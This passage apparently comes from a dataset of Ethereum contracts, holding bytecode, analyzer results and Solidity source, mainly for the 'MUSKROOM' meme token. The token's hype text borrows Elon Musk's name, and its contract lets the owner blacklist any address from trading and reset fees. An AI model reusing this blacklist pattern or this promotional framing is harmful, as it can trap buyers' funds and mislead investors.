0200191505060405180910390a3600191505092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561136857600080fd5b6113b9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061144c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061158e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561173557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561180357fe5b818303905092915050565b6000818301905082811015151561182157fe5b809050929150505600a165627a7a7230582080a666d40c72923dae13f466f86f8c475f5079a369af46cd80d92d1f9ec1a3260029
|
{"success": true, "error": null, "results": {}}
| 1,603 |
0xcf35893860982bbab7cac87627190e447b2b1dd0
|
/*
Muskroom ($MUSKROOM)
TG:
https://t.me/muskroomtoken
WEBSITE:
https://muskroom.com
TWITTER:
https://twitter.com/Muskroomtoken
Elon musk presents you his latest creation - the magic MUSKROOM !
Elon Musk is creating this product to bring joy to the world. Earth is not only full of pollution but also filled with meaningless hatred. By consuming MUSKROOM, you can enter the fantasy world that Elon Musk creates, you can see what he sees, you can feel what he feels.
This magical product is designed to make you feel giggly, excited, energized and a bit overwhelmed. People who take larger doses of MUSKROOM can act unpredictably. You can laugh a lot, become fixated on certain things, be emotional or falsely consider yourself as Elon Musk.
This Muskroom is limited in supply. Seize the chance and join us in the Fantasy world.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract MUSKROOM is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "MUSKROOM";
string private constant _symbol = "MUSKROOM";
uint private constant _decimals = 9;
uint256 private _teamFee = 5;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from] && !_isBot[to]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (1 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = true;
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bf578063cf0848f7146103d4578063cf9d4afa146103f4578063dd62ed3e14610414578063e6ec64ec1461045a578063f2fde38b1461047a57600080fd5b8063715018a6146103225780638da5cb5b1461033757806390d49b9d1461035f57806395d89b4114610172578063a9059cbb1461037f578063b515566a1461039f57600080fd5b806331c2d8471161010857806331c2d8471461023b5780633bbac5791461025b578063437823ec14610294578063476343ee146102b45780635342acb4146102c957806370a082311461030257600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610207578063313ce5671461022757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049a565b005b34801561017e57600080fd5b5060408051808201825260088152674d55534b524f4f4d60c01b602082015290516101a9919061179c565b60405180910390f35b3480156101be57600080fd5b506101d26101cd366004611816565b6104e6565b60405190151581526020016101a9565b3480156101ee57600080fd5b50678ac7230489e800005b6040519081526020016101a9565b34801561021357600080fd5b506101d2610222366004611842565b6104fd565b34801561023357600080fd5b5060096101f9565b34801561024757600080fd5b50610170610256366004611899565b610566565b34801561026757600080fd5b506101d261027636600461195e565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a057600080fd5b506101706102af36600461195e565b6105fc565b3480156102c057600080fd5b5061017061064a565b3480156102d557600080fd5b506101d26102e436600461195e565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030e57600080fd5b506101f961031d36600461195e565b610684565b34801561032e57600080fd5b506101706106a6565b34801561034357600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036b57600080fd5b5061017061037a36600461195e565b6106dc565b34801561038b57600080fd5b506101d261039a366004611816565b610756565b3480156103ab57600080fd5b506101706103ba366004611899565b610763565b3480156103cb57600080fd5b506101706107f5565b3480156103e057600080fd5b506101706103ef36600461195e565b6108ac565b34801561040057600080fd5b5061017061040f36600461195e565b6108f7565b34801561042057600080fd5b506101f961042f36600461197b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046657600080fd5b506101706104753660046119b4565b610b52565b34801561048657600080fd5b5061017061049536600461195e565b610b8f565b6000546001600160a01b031633146104cd5760405162461bcd60e51b81526004016104c4906119cd565b60405180910390fd5b60006104d830610684565b90506104e381610c27565b50565b60006104f3338484610da1565b5060015b92915050565b600061050a848484610ec5565b61055c843361055785604051806060016040528060288152602001611b46602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611282565b610da1565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b81526004016104c4906119cd565b60005b81518110156105f8576000600560008484815181106105b4576105b4611a02565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f081611a2e565b915050610593565b5050565b6000546001600160a01b031633146106265760405162461bcd60e51b81526004016104c4906119cd565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f8573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f7906112bc565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c4906119cd565b6106da6000611340565b565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104c4906119cd565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f3338484610ec5565b6000546001600160a01b0316331461078d5760405162461bcd60e51b81526004016104c4906119cd565b60005b81518110156105f8576001600560008484815181106107b1576107b1611a02565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107ed81611a2e565b915050610790565b6000546001600160a01b0316331461081f5760405162461bcd60e51b81526004016104c4906119cd565b600c54600160a01b900460ff166108835760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c4565b600c805460ff60b81b1916600160b81b17905542600d8190556108a790603c611a47565b600e55565b6000546001600160a01b031633146108d65760405162461bcd60e51b81526004016104c4906119cd565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109215760405162461bcd60e51b81526004016104c4906119cd565b600c54600160a01b900460ff16156109895760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c4565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109e0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a049190611a5f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a759190611a5f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ac2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae69190611a5f565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610b7c5760405162461bcd60e51b81526004016104c4906119cd565b600f811115610b8a57600080fd5b600855565b6000546001600160a01b03163314610bb95760405162461bcd60e51b81526004016104c4906119cd565b6001600160a01b038116610c1e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c4565b6104e381611340565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610c6f57610c6f611a02565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cec9190611a5f565b81600181518110610cff57610cff611a02565b6001600160a01b039283166020918202929092010152600b54610d259130911684610da1565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d5e908590600090869030904290600401611a7c565b600060405180830381600087803b158015610d7857600080fd5b505af1158015610d8c573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c4565b6001600160a01b038216610e645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c4565b6001600160a01b038216610f8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c4565b60008111610fed5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c4565b6001600160a01b03831660009081526005602052604090205460ff1615801561102f57506001600160a01b03821660009081526005602052604090205460ff16155b61103857600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561107a57506001600160a01b03831660009081526004602052604090205460ff16155b80156110905750600c54600160a81b900460ff16155b80156110c05750600c546001600160a01b03858116911614806110c05750600c546001600160a01b038481169116145b1561127057600c54600160b81b900460ff1661111e5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c4565b50600c546001906001600160a01b03858116911614801561114d5750600b546001600160a01b03848116911614155b801561115a575042600e54115b156111a157600061116a84610684565b905061118a6064611184678ac7230489e800006002611390565b90611412565b6111948483611454565b111561119f57600080fd5b505b600d5442036111ce576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006111d930610684565b600c54909150600160b01b900460ff161580156112045750600c546001600160a01b03868116911614155b1561126e57801561126e57600c546112389060649061118490600f90611232906001600160a01b0316610684565b90611390565b81111561126557600c546112629060649061118490600f90611232906001600160a01b0316610684565b90505b61126e81610c27565b505b61127c848484846114b3565b50505050565b600081848411156112a65760405162461bcd60e51b81526004016104c4919061179c565b5060006112b38486611aed565b95945050505050565b60006006548211156113235760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c4565b600061132d6115b6565b90506113398382611412565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826000036113a2575060006104f7565b60006113ae8385611b04565b9050826113bb8583611b23565b146113395760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c4565b600061133983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d9565b6000806114618385611a47565b9050838110156113395760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c4565b80806114c1576114c1611607565b6000806000806114d087611623565b6001600160a01b038d16600090815260016020526040902054939750919550935091506114fd908561166a565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461152c9084611454565b6001600160a01b03891660009081526001602052604090205561154e816116ac565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161159391815260200190565b60405180910390a350505050806115af576115af600954600855565b5050505050565b60008060006115c36116f6565b90925090506115d28282611412565b9250505090565b600081836115fa5760405162461bcd60e51b81526004016104c4919061179c565b5060006112b38486611b23565b60006008541161161657600080fd5b6008805460095560009055565b60008060008060008061163887600854611736565b9150915060006116466115b6565b90506000806116568a8585611763565b909b909a5094985092965092945050505050565b600061133983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611282565b60006116b66115b6565b905060006116c48383611390565b306000908152600160205260409020549091506116e19082611454565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006117118282611412565b82101561172d57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061174960646111848787611390565b90506000611757868361166a565b96919550909350505050565b600080806117718685611390565b9050600061177f8686611390565b9050600061178d838361166a565b92989297509195505050505050565b600060208083528351808285015260005b818110156117c9578581018301518582016040015282016117ad565b818111156117db576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e357600080fd5b8035611811816117f1565b919050565b6000806040838503121561182957600080fd5b8235611834816117f1565b946020939093013593505050565b60008060006060848603121561185757600080fd5b8335611862816117f1565b92506020840135611872816117f1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118ac57600080fd5b823567ffffffffffffffff808211156118c457600080fd5b818501915085601f8301126118d857600080fd5b8135818111156118ea576118ea611883565b8060051b604051601f19603f8301168101818110858211171561190f5761190f611883565b60405291825284820192508381018501918883111561192d57600080fd5b938501935b828510156119525761194385611806565b84529385019392850192611932565b98975050505050505050565b60006020828403121561197057600080fd5b8135611339816117f1565b6000806040838503121561198e57600080fd5b8235611999816117f1565b915060208301356119a9816117f1565b809150509250929050565b6000602082840312156119c657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611a4057611a40611a18565b5060010190565b60008219821115611a5a57611a5a611a18565b500190565b600060208284031215611a7157600080fd5b8151611339816117f1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611acc5784516001600160a01b031683529383019391830191600101611aa7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611aff57611aff611a18565b500390565b6000816000190483118215151615611b1e57611b1e611a18565b500290565b600082611b4057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b414242559e3b2fb30dee9d8f45858db314882b34e70e35437e9ab734fe330d164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,604 |
0x0671ca7e039af2cf2d2c5e7f1aa261ae78b3ffdf
|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
* From https://github.com/OpenZeppelin/openzeppelin-contracts
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IVoteStrategyToken {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function balanceOf(address voter) external view returns (uint256);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
